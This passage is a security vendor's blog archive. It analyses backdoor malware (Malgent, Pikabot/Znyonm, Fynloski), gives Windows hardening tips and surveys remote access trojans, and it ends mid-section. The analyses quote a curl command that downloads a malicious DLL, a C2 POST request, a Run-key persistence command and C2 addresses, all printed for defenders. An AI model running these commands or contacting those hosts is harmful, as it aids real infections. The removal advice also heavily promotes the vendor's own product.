Backdoor Archives – Gridinsoft Blog Welcome to the Gridinsoft Blog, where we share posts about security solutions to keep you, your family and business safe. Wed, 10 Jul 2024 13:04:59 +0000 en-US hourly 1 https://wordpress.org/?v=69256 200474804 Trojan:Win32/Malgent!MSR https://gridinsoft.com/blogs/trojan-win32-malgent-msr/ https://gridinsoft.com/blogs/trojan-win32-malgent-msr/#respond Wed, 10 Jul 2024 13:04:59 +0000 https://gridinsoft.com/blogs/?p=25629 Trojan:Win32/Malgent!MSR detection has recently become widespread in Windows systems. It usually flags a real threat, particularly a dropper or a backdoor, which aim at delivering other malware to the system. However, these detections may be false positive, with certain types of programs often being detected for no obvious reason. Despite the possibility of it being… Continue reading Trojan:Win32/Malgent!MSR

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Trojan:Win32/Malgent!MSR detection has recently become widespread in Windows systems. It usually flags a real threat, particularly a dropper or a backdoor, which aim at delivering other malware to the system. However, these detections may be false positive, with certain types of programs often being detected for no obvious reason.

Despite the possibility of it being a false detection, I heavily emphasize to you to take all the recommended precautions. It is hard to detect stealthy malicious software with your naked eye, and backdoors are probably the most concealed of them. In this post, I will show how to understand that something is wrong, and see for sure whether you have any malicious software in your system.

Malicious programs become more and more sophisticated each day, posing as genuine applications, and causing users to think about false positives. Do not let the malware trick youget yourself proper protection

Trojan:Win32/Malgent!MSR Overview

Trojan:Win32/Malgent!MSR is a Windows Defender detection that refers to backdoor-type malware. Its name is pretty self explanatory, “Malicious Agent”, meaning that it works with other malicious programs. Malgent is distributed through cracks/keygens for popular programs, pirated software, and other illegal programs. Among the most common shells for this malware are Windows and Office activators or “free versions” of system cleaners.

Trojan:Win32/Malgent!MSR detection screenshot
Trojan:Win32/Malgent!MSR detection

Sometimes, Trojan:Win32/Malgent!MSR can be a false positive detection. For example, not long ago, Windows Defender started flagging the Tor browser as Win32/Malgent!MSR. Although most vendors have corrected this false detection, at the time of writing this post, several vendors still detect certain installers of the program, as well as its executables as malicious.

Trojan:Win32/Malgent!MSR Technical Analysis

Let’s take a closer look at Trojan:Win32/Malgent!MSR uses an example of one of the malicious files. We will skip the false positives and focus on the malicious case. As mentioned earlier, this is a backdoor designed to provide remote access to the target system and deliver other malicious software. Overall, the behavior of this malware is similar to other backdoors; once launched, it performs typical anti-analysis/anti-VM checks. It goes through the following locations and registry values for the presence of a virtual environment or a debugger:

C:\Windows\System32\drivers\etc\hosts
HKEY_CURRENT_USER\Software\Classes\Local Settings
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\MUI\UILanguages\en-US
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SafeBoot\Option
HKEY_LOCAL_MACHINE\System\Setup

Ther is also a static anti-detection and anti-analysis layer: malware is RC4-encoded. Although rather simple, it is more than enough to circumvent the protection of the most basic antivirus programs. Moreover, the malware executes shell code and launches certain processes to conceal its actions and, if possible, neutralizes security software.

C2 Communication

After making sure it is not running in a sandbox, Malgent virus connects to a command and control (C2) server. The malware sends GET requests to an Amazon EC2 address (ec2-15-207-207-64.ap-south-1.compute.amazonaws.com), targeting the resource rawmail.php with various parameters. These GET requests are directed to an Amazon EC2 instance. Judging by the URLs, the malware accesses or retrieves email data, as indicated by the parameters mailid, action=inbox, and param. The values of the param parameter are Base64 encoded strings. Decoding them yields the following:

SUFKVklOQFZJSk1WTkM= decodes to "IADVIN@VIJMVC".
SUFKVklOQFZJSkpWQEx decodes to "IADVIN@VIJJV@LC".
SFZKVklAQVZJTEFD decodes to "HFJVIN@AVILAC".

These values appear to be email identifiers or addresses.

In addition to this, the malware communicates with various IP addresses, including 15.207.207.64:80 (Amazon EC2), several Microsoft addresses such as 204.79.197.203:443 and 20.99.184.37:443, and internal addresses for NetBIOS services. Malicious actors often use hostings on services provided by those widely known names to avoid network filters.

Payload

At the final stage of its activity, Malgent launches the following processes. Most likely, they serve to put it to the low ready stage, so the malware deployments will happen pretty much instantly.

%SAMPLEPATH%\ed8ec7a8dd089019cfd29143f008fa0951c56a35d73b2e1b274315152d0c0ee6.exe
%SAMPLEPATH%\notify.exe
C:\Windows\System32\wuapihost.exe -Embedding

The malware injects itself into the system process WMIADAP.EXE to hide its activity or utilize the resources of this process. It also creates a mutex “\Sessions\1\BaseNamedObjects\DBWinMutex” to prevent multiple instances of itself from running. The malware then drops a large number of temporary files and metadata into the WER\Temp directory (Windows Error Reporting).

C:\ProgramData\Microsoft\Windows\WER\Temp\WER11ED.tmp
C:\ProgramData\Microsoft\Windows\WER\Temp\WER12B8.tmp
C:\ProgramData\Microsoft\Windows\WER\Temp\WER12E8.tmp
C:\ProgramData\Microsoft\Windows\WER\Temp\WER13D2.tmp
C:\ProgramData\Microsoft\Windows\WER\Temp\WER13E3.tmp
And more…

These files are generally intended for storing crash information and system diagnostics. However, in this case, the malware uses them to store its data and to hide its activity.

How to Remove Trojan:Win32/Malgent!MSR

To clean your system and remove the malware, I recommend using Gridinsoft Anti-Malware. This effective solution not only cleans your system but also provides continuous protection against malware. Follow the instructions below:

GridinSoft Anti-Malware main screen

Download and install Anti-Malware by clicking the button below. After the installation, run a Full scan: this will check all the volumes present in the system, including hidden folders and system files. Scanning will take around 15 minutes.

After the scan, you will see the list of detected malicious and unwanted elements. It is possible to adjust the actions that the antimalware program does to each element: click "Advanced mode" and see the options in the drop-down menus. You can also see extended information about each detection - malware type, effects and potential source of infection.

Scan results screen

Click "Clean Now" to start the removal process. Important: removal process may take several minutes when there are a lot of detections. Do not interrupt this process, and you will get your system as clean as new.

Removal finished

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How to Secure Windows 10 from Hackers https://gridinsoft.com/blogs/8-best-practices-windows-10-security/ https://gridinsoft.com/blogs/8-best-practices-windows-10-security/#respond Thu, 04 Jul 2024 08:36:35 +0000 https://gridinsoft.com/blogs/?p=10331 Windows 10 boasts valuable features, providing comfortable tools for user PCs and safeguarding confidential data. However, to secure Windows 10 effectively, understanding its vulnerability due to its dominance in the market—with over 85% of user devices—is crucial. This operating system has many vulnerabilities that attackers actively exploit. Below is a useful guide with essential tips… Continue reading How to Secure Windows 10 from Hackers

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Windows 10 boasts valuable features, providing comfortable tools for user PCs and safeguarding confidential data. However, to secure Windows 10 effectively, understanding its vulnerability due to its dominance in the market—with over 85% of user devices—is crucial. This operating system has many vulnerabilities that attackers actively exploit. Below is a useful guide with essential tips to help you enhance your Windows security.

Secure Windows 10: Useful Tips

1. Update Your Software Regularly

Regular updates are essential to secure Windows 10 from hackers. By updating Windows and all your software, you prevent hackers from accessing your computer. Developers create updates to shield private information by fixing code bugs and eliminating incompatibilities. As a result, larger software packages often contain vulnerabilities that hackers are more likely to discover and exploit.

Each time attackers discover new loopholes or methods to hack into systems, developers release new versions of these crucial updates. Unfortunately, many users neglect these updates, sticking with outdated software versions, which hackers exploit to breach security.

Windows 10 Security update

2. Turn on Your Firewall

The Windows Firewall is a robust network security system integrated into recent Windows operating systems, including Windows 10, designed to protect internal networks from external threats like intruders or malware. It scrutinizes both hardware and software, tracking incoming and outgoing traffic. The firewall allows or blocks data packets based on established security rules, acting as a crucial barrier to secure Windows 10 from any incoming threats.

Firewall Scheme

Follow these steps to enable the Windows 10 Firewall and protect your computer:

1. Open Control Panel:

  • Click the Start menu.
  • Type Control Panel in the search bar and select it from the list of results.

2. Navigate to Windows Firewall:

  • In the Control Panel, click on System and Security.
  • Then click on Windows Defender Firewall.

3. Turn on Windows Firewall:

  • On the left side of the screen, click on Turn Windows Defender Firewall on or off.
  • Under both the Private network settings and Public network settings, select the option to Turn on Windows Defender Firewall.
  • Click OK to save your settings and activate the firewall.

3. Use Device Encryption or Bitlocker to Protect Your Hard Drive

Encryption works by scrambling data with a complex cipher that makes the information unreadable without the correct password. Many versions of Windows 10 Home include Windows Device Encryption. This feature allows you to encrypt files and folders on demand and create disk partitions to store encrypted bulk data, greatly enhancing your chances to secure Windows 10 and maintain the integrity of your files. However, be aware that using disk encryption utilities might slow down weaker systems or those equipped with HDDs, as these tools can impact performance.

Here are the steps to set up BitLocker on your Windows 10 device:

1. Check if BitLocker is Available:

  • Open the Control Panel.
  • Navigate to System and Security > BitLocker Drive Encryption.
  • If BitLocker is not available, your version of Windows may not support it, or your hardware may lack a Trusted Platform Module (TPM) chip.

2. Turn On BitLocker:

  • Choose the drive you want to encrypt from the list.
  • Click Turn on BitLocker.
  • BitLocker will check if your system meets the requirements for encryption.

3. Choose How to Unlock at Startup:

  • You will be asked how you want to unlock the drive at startup. Options typically include using a password or a smart card.
  • Choose Use a password to unlock the drive and enter a strong password.

4. Save Your Recovery Key:

  • BitLocker will prompt you to save a recovery key, which can be used to access your encrypted drive if you forget your password.
  • You can save it to your Microsoft account, a file, a USB drive, or print it.
  • It’s crucial to save the recovery key in a secure location separate from your computer.

5. Choose Encryption Options:

  • Select whether to encrypt the used disk space only (faster and best for new PCs and drives) or the entire drive (best for PCs and drives already in use).
  • Click Next to continue.

6. Start the Encryption Process:

  • Review your choices and click Start encrypting.
  • The encryption process can take several hours, depending on the size of the drive and the data stored on it.

Once BitLocker is enabled, your drive is protected. Every time you start your device, you will need to enter the password or have the smart card to access the encrypted drive. This ensures that your data is secure even if your device is lost or stolen.

4. Use a Secure Password Manager with Two-Factor Authentication (2FA)

Simple passwords make user accounts vulnerable to hacks, making it crucial to use passwords that combine a complex array of letters and characters for enhanced protection. Remembering all these complex passwords can be challenging, which is why it’s wise to use a password manager. These tools store, auto-fill, and generate passwords for you. Most password managers also support two-factor authentication (2FA), adding an extra layer of security. This additional step might involve something like a fingerprint, a confirmation code sent to your phone, or a facial scan—essential measures to secure Windows 10 against unauthorized access.

Use password manager

5. Enable Controlled Folder Access to Prevent Ransomware Attacks

Ransomware attacks are a significant threat to personal and organizational data security. Windows 10 offers a robust feature called Controlled Folder Access within Windows Defender Security Center. This feature helps protect valuable data from malicious apps and threats, such as ransomware. By default, it protects common folders where documents, pictures, videos, and files are stored, and you can also add additional folders to be monitored to enhance protection.

To enable Controlled Folder Access, simply go to the Windows Defender Security Center, click on ‘Virus & threat protection,’ and navigate to the ‘Ransomware protection’ section. From there, you can switch on Controlled Folder Access. This simple step can significantly secure Windows 10 by blocking unauthorized applications from making changes to your protected folders.

How to protect your files from ransomware attacks by enabling Controlled Folder Access:

1. Open Windows Security Settings:

  • Click on the Start menu.
  • Type Windows Security in the search bar and open the app.

2. Navigate to Virus & Threat Protection:

  • In the Windows Security window, click on Virus & threat protection.

3. Access Ransomware Protection:

  • Scroll down and find the Ransomware protection section.
  • Click on Manage ransomware protection.

4. Enable Controlled Folder Access:

  • In the Ransomware protection settings, find the Controlled folder access section.
  • Switch the toggle to On to enable Controlled Folder Access.

5. Manage Protected Folders:

  • After enabling Controlled Folder Access, you can add or remove folders that you want to protect.
  • Click on Protected folders and then use the Add a protected folder button to select folders on your computer that you wish to protect.

6. Allow Apps Through Controlled Folder Access:

  • If you have legitimate apps that need to make changes to protected folders, you can allow them through this feature.
  • Under Allow an app through Controlled folder access, click on Add an allowed app and select the app you trust to make changes to protected folders.

7. Review and Test:

  • Once you’ve configured your settings, review everything to ensure it’s set up correctly.
  • Test the feature by attempting to modify files in the protected folders with a non-allowed application to check if the access is correctly blocked.

6. Keep Your Browsing Private with a VPN, Especially on Public Wi-Fi

Using a VPN can significantly enhance your privacy and anonymity online by creating a private network from a public Internet connection. This security method not only masks your IP address but also makes your online activities nearly impossible to track. Moreover, a VPN provides a more encrypted and secure connection than a typical Wi-Fi hotspot. By creating a secure tunnel, a VPN helps conceal your browsing activities, allowing you to access region-blocked websites without exposure. This is an essential step to secure Windows 10 when using public WiFi.

VPN security mechanism

7. Avoid Dangerous Pop-Ups

Although pop-up windows may seem merely annoying—wasting your time and slowing down your PC—they can also pose serious risks by infecting your device with malware. These pop-up banners are harmless until you click on them, which activates their damaging effects. Therefore, it’s crucial to be discerning about what you click on. To protect yourself, consider using an ad blocker or avoid visiting sites known for dubious pop-ups. If ad blockers don’t cut it, your device might already be compromised by malware. Scan your device with anti-malware software to eliminate any such threats and further secure Windows 10.

pop-ups
Pop-ups that have no relation to the original page

8. Install Anti-malware

Antivirus software will be your next level of protection against malware. For example, GridinSoft Anti-Malware can remove all malware from your computer. In addition, it scans the system for viruses, spyware, and adware and prevents rootkits or backdoors from invading your PC.

GridinSoft Anti-Malware main screen

Download and install Anti-Malware by clicking the button below. After the installation, run a Full scan: this will check all the volumes present in the system, including hidden folders and system files. Scanning will take around 15 minutes.

After the scan, you will see the list of detected malicious and unwanted elements. It is possible to adjust the actions that the antimalware program does to each element: click "Advanced mode" and see the options in the drop-down menus. You can also see extended information about each detection - malware type, effects and potential source of infection.

Scan results screen

Click "Clean Now" to start the removal process. Important: removal process may take several minutes when there are a lot of detections. Do not interrupt this process, and you will get your system as clean as new.

Removal finished

Our tool can work without conflict with other antivirus programs as additional protection. GridinSoft Anti-Malware can free the user’s browser from third-party control and return it to its working state.

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Trojan:Win32/Znyonm https://gridinsoft.com/blogs/trojanwin32-znyonm-detection/ https://gridinsoft.com/blogs/trojanwin32-znyonm-detection/#respond Thu, 27 Jun 2024 08:52:36 +0000 https://gridinsoft.com/blogs/?p=20390 Trojan:Win32/Znyonm is a detection often seen during the backdoor malware activity in the background. Such malware can escalate privileges, enable remote access, or deploy more payloads. Let’s dive into this malicious program, understand how it works, and see how to remove it. What is Trojan:Win32/Znyonm? Trojan:Win32/Znyonm is a detection associated with backdoor malware, usually the… Continue reading Trojan:Win32/Znyonm

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Trojan:Win32/Znyonm is a detection often seen during the backdoor malware activity in the background. Such malware can escalate privileges, enable remote access, or deploy more payloads. Let’s dive into this malicious program, understand how it works, and see how to remove it.

What is Trojan:Win32/Znyonm?

Trojan:Win32/Znyonm is a detection associated with backdoor malware, usually the one that uses deep obfuscation and anti-analysis techniques. In particular, this detection name appears with malware like GuLoader, Remcos RAT, and Pikabot. Others can also be seen though, as Microsoft does not attach this detection name to specific malware families, but rather to its properties.

Trojan:Win32/Znyonm detection
Znyonm detection

The primary objectives of Znyonm include facilitating remote access or deploying additional payloads. As a preliminary stage, it establishes persistence within systems, escalates privileges, and communicates with command-and-control (C2) servers. Among the samples found on VirusTotal, I’ve seen the usage of multi-stage loading of code fragments from remote servers via .LNK, VBS, and PowerShell scripts. This allows it to bypass antivirus detection and deliver any malicious payload to the victim’s computer.

Znyonm Trojan Analysis

For the sample of Znyonm to analyze, I’ve picked one of fresh samples of Pikabot. This is a modular backdoor malware that emerged in early 2023. The malware gained prominence as a substitute for the infamous QakBot. The malware serves as an initial access point in high-profile cyberattacks. Its primary tactic for initial access is spear phishing and thread-hijacking techniques. Pikabot deploys exploit kits, ransomware, or other malware tools.

Spreading ways

Znyonm/Pikabot gains initial access through spear phishing. It targets users with convincing emails that look like routine workflow messages; frauds particularly employ thread hijacking to make it look genuine. The format of the attachment may vary – from a PDF document to a ZIP archive that contains the payload. In either case, email text will try to convince the user to launch the attachment and follow its instructions.

Phishing email screenshot
Typical example of a message that spreads Pikabot. (Source: ANY.RUN)

Another method is malvertising via major ad engines like Google or Facebook. Hackers trick users into downloading and installing malware by using the names of popular free software, drivers, and tools. The sites used in these campaigns live for an extremely short time but can infect hundreds of users.

Unpacking, Launch & Persistence

Upon execution, Znyonm runs a set of checks to avoid analysis, by calling NtQueryInformationProcess. Then, it decrypts the DLL file and performs another round of anti-analysis and anti-debug tricks. After passing them, the malware assembles its core from encrypted parts of the DLL it arrives in. To gain persistence and privileges, Pikabot/Znyonm performs process hollowing.

C:\Windows\System32\cmd.exe" /c mkdir C:\Gofkvlgdigt\Ekfgihcifmv & curl hxxps://ucakbiletsorgulama.com/U14/0.16930199040452631.dat --output C:\Gofkvlgdigt\Ekfgihcifmv\Ikfigkvosjr.dll

Pikabot malware avoids detection by directly calling the required APIs using their hash for the first 3 APIs. Next, it switches to dynamic API resolution to evade EDR/XDR detection. The malware checks the system language before gathering system information, ceasing execution if one from the ban list is found. After passing the check, it collects system properties to fingerprint the system.

Pikabot code snippet screenshot
Pikabot checks the system language

The fingerprint includes user name, computer name, display information, CPU information, physical and virtual memory, domain controller name, operating system version, and a snapshot of its process. This is a typical set of data for backdoor malware, called to distinguish one system from another. Some backdoors though were gaining the ability to collect more data with time, getting closer in functionality to spyware.

C2 Communication

The malware sends collected data to the command server using an HTTP POST request over HTTPS protocol. Upon the first contact, the command server sends the response with the command and configuration info. The latter consists of a command-specific code, URL, file address, and the action malware should execute. Some of the commands also require Pikabot to send the results to the C2.

POST hxxps://15.235.47.80:23399/api/admin.teams.settings.setIcon HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.8
User-Agent: Microsoft Office/14.0 (Windows NT 6.1; Microsoft Outlook 14.0.7166; Pro)
Content-Length: 6778
Host: 158.220.80.167:2967

00001a7600001291000016870000000cbed67c4482a40ad2fc20924a06f614a40256fca898d6d2e88eecc638048874a8524d73037ab3b003be6453b7d3971ef2d449e3edf6c04a9b8a97e149a614ebd34843448608687698bae262d662b73bb316692e52e5840c51a0bad86e33c6f8926eb850c2

How to Remove Trojan:Win32/Znyonm?

If you receive a notification about Trojan:Win32/Znyonm detection, an anti-malware scanning is needed. As you can see from the analysis above, Znyonm is nothing to mess around with, and can lead to more serious and diverse malware infections. Gridinsoft Anti-Malware will fit perfectly for malware removal.

GridinSoft Anti-Malware main screen

Download and install Anti-Malware by clicking the button below. After the installation, run a Full scan: this will check all the volumes present in the system, including hidden folders and system files. Scanning will take around 15 minutes.

After the scan, you will see the list of detected malicious and unwanted elements. It is possible to adjust the actions that the antimalware program does to each element: click "Advanced mode" and see the options in the drop-down menus. You can also see extended information about each detection - malware type, effects and potential source of infection.

Scan results screen

Click "Clean Now" to start the removal process. Important: removal process may take several minutes when there are a lot of detections. Do not interrupt this process, and you will get your system as clean as new.

Removal finished

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Behavior:Win32/Fynloski.gen!A https://gridinsoft.com/blogs/behavior-win32-fynloski-gen-a/ https://gridinsoft.com/blogs/behavior-win32-fynloski-gen-a/#respond Wed, 05 Jun 2024 14:52:17 +0000 https://gridinsoft.com/blogs/?p=22559 Behavior:Win32/Fynloski.gen!A is a heuristic detection of Microsoft Defender that flags activities of Fynloski malware. This malicious program allows attackers to control the infected system and install other malware remotely. Such malware usually spreads through email attachments and software from low-trust sources. Behavior:Win32/Fynloski.gen!A Overview Behavior:Win32/Fynloski.gen!A is a detection name used by Microsoft Defender to identify a… Continue reading Behavior:Win32/Fynloski.gen!A

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Behavior:Win32/Fynloski.gen!A is a heuristic detection of Microsoft Defender that flags activities of Fynloski malware. This malicious program allows attackers to control the infected system and install other malware remotely. Such malware usually spreads through email attachments and software from low-trust sources.

Behavior:Win32/Fynloski.gen!A Overview

Behavior:Win32/Fynloski.gen!A is a detection name used by Microsoft Defender to identify a specific type of malicious behavior associated with the Fynloski malware family. This malware group is not a stand-alone family, but rather a group of malicious programs that share code similarities. It’s a heuristic detection, meaning it detects Fynloski-like malware based on its actions rather than a specific signature.

Behavior:Win32/Fynloski.gen!A Detection
Behavior:Win32/Fynloski.gen!A Detection

Fynloski malware typically allows attackers to control the infected system remotely, a normal function for a backdoor. It can steal sensitive information such as passwords, personal data, and banking details, capture screenshots, record keystrokes, monitor user activities – overall, act as spyware. It can also download and install other malicious software onto the infected system. Win32/Fynloski spreads through email attachments, downloads from compromised websites, and software from untrusted sources.

Technical Analysis

Let’s look at how this works using a specific example. After infiltrating the system, it performs checks typical of most malware to detect the presence of a virtual environment or debugger. The malware checks the following locations:

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Session Manager\SafeProcessSearchMode
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\GRE_Initialize
HKEY_LOCAL_MACHINE\Software\Microsoft\PolicyManager\default\System\ConfigureTelemetryOptInSettingsUx

These files and keys can contain information about configurations used for security and telemetry collection in virtual environments. The malware quits further execution shall it find any traces of the virtualization here.

After finishing the initial checks, Fynloski collects system information. This information does not include confidential data; its purpose is to create a digital fingerprint of the system for future identification. The malware collects information from the following locations:

C:\Windows\AppCompat\Programs\Amcache.hve
C:\Windows\System32\drivers
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\DataCollection
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Windows Error Reporting
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa\FipsAlgorithmPolicy

The first file contains information about recently launched programs and installed software, which can provide insight into the system configuration and installed applications. The subsequent registry keys contain information about the user and OS settings.

To avoid detection, the reviewed sample uses standard encoding algorithms. This, however, differs from one sample to another: some of the more sophisticated samples may use deep sample encryption that is lifted only in the runtime. Also, considering that the original detection comes from the heuristic engine, there are high chances that the samples use unique packing or rebuilding, which additionally enhances detection evasion.

Execution

After performing all checks and gathering the necessary information, the malware establishes persistence in the system. It executes the following shell command:

REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Support GFX" /t REG_SZ /d "%APPDATA%\Xpers\Gpers.exe" /f

This command adds an entry into the current user’s autoloader section to run a specific program when the user logs in.

Next, Fynloski connects to its Command and Control (C2) server to transmit information to the attackers and receive further commands. The following addresses are used for this purpose:

tcp://betclock.zapto.org:35000
UDP a83f:8110:0:0:4b8e:21:0:0:53
TCP 23.216.147.64:443
TCP 192.229.211.108:80
TCP 20.99.185.48:443

How To Remove Behavior:Win32/Fynloski.gen!A

To remove Behavior:Win32/Fynloski.gen!A, I recommend using advanced anti-malware software. GridinSoft Anti-Malware is an excellent option as it can neutralize the threat even during the early attack stages. Download it, run a Full scan and remove all the threats that it has detected.

Behavior:Win32/Fynloski.gen!A

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Remote Access Trojan (RAT) https://gridinsoft.com/blogs/remote-access-trojan-meaning/ https://gridinsoft.com/blogs/remote-access-trojan-meaning/#respond Thu, 16 May 2024 02:11:57 +0000 https://gridinsoft.com/blogs/?p=12845 Remote Access Trojan is software that allows unauthorized access to a victim’s computer or covert surveillance. Remote Access Trojan are often disguised as legitimate programs and give the attacker unhindered access. Their capabilities include tracking user behavior, copying files, and using bandwidth for criminal activity. What is a Remote Access Trojan (RAT)? A Remote Access… Continue reading Remote Access Trojan (RAT)

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Remote Access Trojan is software that allows unauthorized access to a victim’s computer or covert surveillance. Remote Access Trojan are often disguised as legitimate programs and give the attacker unhindered access. Their capabilities include tracking user behavior, copying files, and using bandwidth for criminal activity.

What is a Remote Access Trojan (RAT)?

A Remote Access Trojan (RAT) is a malicious program that opens a backdoor, allowing an attacker to control the victim’s device completely. Users often download RATs with a legitimate program, i.e., inside of hacked games from torrents or within an email attachment. Once an attacker compromises the host system, it can use it to spread RATs to additional vulnerable computers, thus creating a botnet. In addition, RAT can be deployed as a payload using exploit kits. Once successfully deployed, RAT directly connects to the command-and-control (C&C) server the attackers control. They achieve this by using a predefined open TCP port on the compromised device. Because the RAT provides administrator-level access, an attacker can do almost anything on a victim’s computer, such as:

  • Use spyware and keyloggers to track the victim’s behavior
  • Gain access to sensitive data, including social security numbers and credit card information
  • View and record video from a webcam and microphone
  • Take screenshots
  • Format disks
  • Download, change or delete files
  • Distribute malware and viruses

How does a Remote Access Trojan work?

Like any other type of malware, a RAT can be attached to an email or posted on a malicious website. Cybercriminals can also exploit a vulnerability in a system or program. RAT is similar to Remote Desktop Protocol (RDP) or Anydesk but differs in its stealth. RAT establishes a command and control (C2) channel with the attacker’s server. This way, attackers can send commands to RAT, and it can return the data. RATs also have a set of built-in controls and methods for hiding their C2 traffic from detection.

Remote access trojan mechanism

RATs can be combined with additional modules, providing other capabilities. For example, suppose an attacker may gain a foothold using a RAT. Then, after examining the infected system with the RAT, he decides he needs to install a keylogger. Depending on his needs, RAT may have a built-in keylogging feature or the ability to download and add a keylogger module. It can also load and run an independent keylogger.

Why Remote Access Trojan is Dangerous?

A 2015 incident in Ukraine illustrates the nefarious nature of RAT programs. At the time, attackers used remote-control malware to cut power to 80,000 people. As a result, they gained remote access to a computer authenticated in the SCADA (supervisory control and data collection) machines that controlled the country’s utility infrastructure. In addition, Remote Access Trojan allowed attackers to access sensitive resources by bypassing the elevated privileges of the authenticated user on the network. Thus, an attack using RATs can take on a threatening scale, up to the threat to national security.

Unfortunately, cybersecurity teams often have difficulty detecting RATs. This is because malware typically carries many concealing features, allowing it to avoid any detection. In addition, RATs manage resource utilization levels so that there is no performance degradation, making it difficult to detect the threat.

Ways of using Remote Access Trojan

The following are ways in which a RAT attack can compromise individual users, organizations, or even entire populations:

  • Spying and blackmail: An attacker who has deployed a RAT on a user’s device gains access to the user’s cameras and microphones. Consequently, he can take pictures of the user and his surroundings and then use this to launch more sophisticated attacks or blackmail.
  • Launch Distributed Denial of Service (DDoS) Attacks: Attackers install RATs on many user devices, then use those devices to flood the target server with spoofed traffic. Even though the attack can cause network performance degradation, users are often unaware that hackers use their devices for DDoS attacks.
  • Cryptomining: In some cases, attackers can use RATs to mine cryptocurrency on the victim’s computer. By scaling this action to many devices, they can make huge profits.
  • Remote file storage: Sometimes attackers can use RATs to store illegal content on unsuspecting victims’ machines. That way, authorities can’t shut down the attacker’s account or storage server because he keeps information on devices belonging to legitimate users.

  • Industrial Systems Compromise: As described above, attackers can use RATs to gain control over large industrial systems. These could be utilities such as electricity and water supplies. As a result, an attacker can cause significant damage to the industrial equipment by sabotaging these systems and disrupting critical services in entire areas.

Remote Access Trojan Examples

njRAT

NjRAT is probably the most known and the oldest among remote-access trojans. Appeared in 2012, it keeps getting updates, which adjust its functionality to the modern “standards”, which makes up for its longevity. The reason for this is probably the attention from state-sponsored threat actors – APT36 and APT41 – who use it in cyberattacks almost since its very inception.

Njrat interface
Interface of njRAT 0.7 Golden edition

Key functionality of njRAT is typical for pretty much any remote-access trojan – it is about providing remote access. The latter is topped up with uploading and downloading files by command, log keystrokes and capture microphone and camera inputs. Some of its variants are also capable of grabbing credentials from browsers and cryptocurrency apps.

One interesting feature of this remote access trojan is its naming. Threat analysts use its original name interchangeably with Bladabindi. The latter is a detection name that Microsoft assigned to this trojan back in its early days. Usually, Redmond changes the naming as the malware gains volume and power, but this did not happen here.

Sakula

Sakula is seemingly harmless software with a legitimate digital signature. However, the malware first appeared in 2012 and is used against high-level targets. It allows attackers to take full advantage of remote administration on the device and uses simple unencrypted HTTP requests to communicate with the C&C server. Additionally, it uses a Mimikatz password stealer to authenticate using a hash transfer method that reuses operating system authentication hashes to hijack existing sessions.

KjW0rm

KjW0rm is a worm written in VBS in 2014 that uses obfuscation, making it difficult to detect on Windows computers. It has many variations; the older parent version is called “Njw0rm”. The malware and all other variants belong to the same family, with many features and similarities in its workflow. It deploys stealthily and then opens a backdoor that allows attackers to gain complete control of the machine and send data back to the C&C server.

Havex

Havex is a Remote Access Trojan discovered in 2013 as part of a large-scale spying campaign targeting production control systems (ICS) used in many industries. Its author is a hacker group known as Dragonfly and Energetic Bear. It gives attackers complete control over industrial equipment. Havex uses several mutations to avoid detection and has a minimal footprint on the victim’s device. It communicates with the C&C server via HTTP and HTTPS protocols.

Agent.BTZ/ComRat

Agent.BTZ/ComRat (also called Uroburos) is a Remote Access Trojan that became infamous after hackers used it to break into the U.S. military in 2008. The first version of this malware was probably released in 2007 and had worm-like properties, spreading via removable media. From 2007 to 2012, developers released two significant versions of RAT. Most likely, this is a development of the Russian government. It can be deployed via phishing attacks and uses encryption, anti-analysis, and forensic techniques to avoid detection. In addition, it provides complete administrative control over the infected machine and can transmit data back to its C&C server.

Dark Comet

Backdoor.DarkComet is a Remote Access Trojan application that runs in the background and stealthily collects information about the system, connected users, and network activity. This Remote Access Trojan was first identified in 2011 and is still actively used today. It provides complete administrative control over infected devices. For example, it can disable task manager, firewall, or user access control (UAC) on Windows machines. In addition, Dark Comet uses encryption, thereby avoiding detection by antivirus.

AlienSpy

AlienSpy is a RAT that supports multiple platforms. This allows payload creation for Windows, Linux, Mac OS X, and Android operating systems. It can collect information about the target system, activate the webcam, and securely connect to the C&C server, providing complete control over the device. In addition, AlienSpy uses anti-analysis techniques to detect the presence of virtual machines. According to the researcher who analyzed the threat, the operator behind the author of the service is a native Spanish speaker, probably Mexican.

Heseber BOT

The Heseber BOT is based on the traditional VNC remote access tool. It uses VNC to remotely control the target device and transfer data to the C&C server. However, it does not provide administrative access to the machine unless the user has such permissions. Since VNC is a legitimate tool, Haseber antivirus tools do not identify it as a threat.

Sub7

Sub7 is a Remote Access Trojan that runs on a client-server model. The backdoor was first discovered in May 1999 and ran on Windows 9x and the Windows NT family of operating systems up to Windows 8.1. The server is a component deployed on the victim machine, and the client is the attacker’s GUI to control the remote system. The server tries to install itself into a Windows directory and, once deployed, provides webcam capture, port redirection, chat, and an easy-to-use registry editor.

Back Orifice

Back Orifice is a Remote Access Trojan for Windows introduced in 1998. It supports most versions beginning with Windows 95 and is deployed as a server on the target device. It takes up little space, has a GUI client, and allows an attacker to gain complete control over the system. RAT can also use image processing techniques to control multiple computers simultaneously. The server communicates with its client via TCP or UDP, usually using port 31337.

How To Protect Against Remote Access Trojan?

As stated above, Remote Access Trojans rely on their stealthiness. Once it has appeared, you will likely struggle to detect it, even if the exact malware sample is not new. That’s why the best way to protect against Remote Access Trojan is to not even give it a chance to run. The following methods represent proactive actions that severely decrease the chance of malware introduction and the possibility of getting in trouble.

Security training

Unfortunately, the weakest link in any defense is the human element, which is the root cause of most security incidents, and RATs are no exception. Therefore, it’s strategy for defending against RATs depends on organization-wide security training. In addition, victims usually launch this malware through infected attachments and links in phishing campaigns. Therefore, employees must be vigilant not to contaminate the company network and jeopardize the entire organization accidentally.

Using multi-factor authentication (MFA)

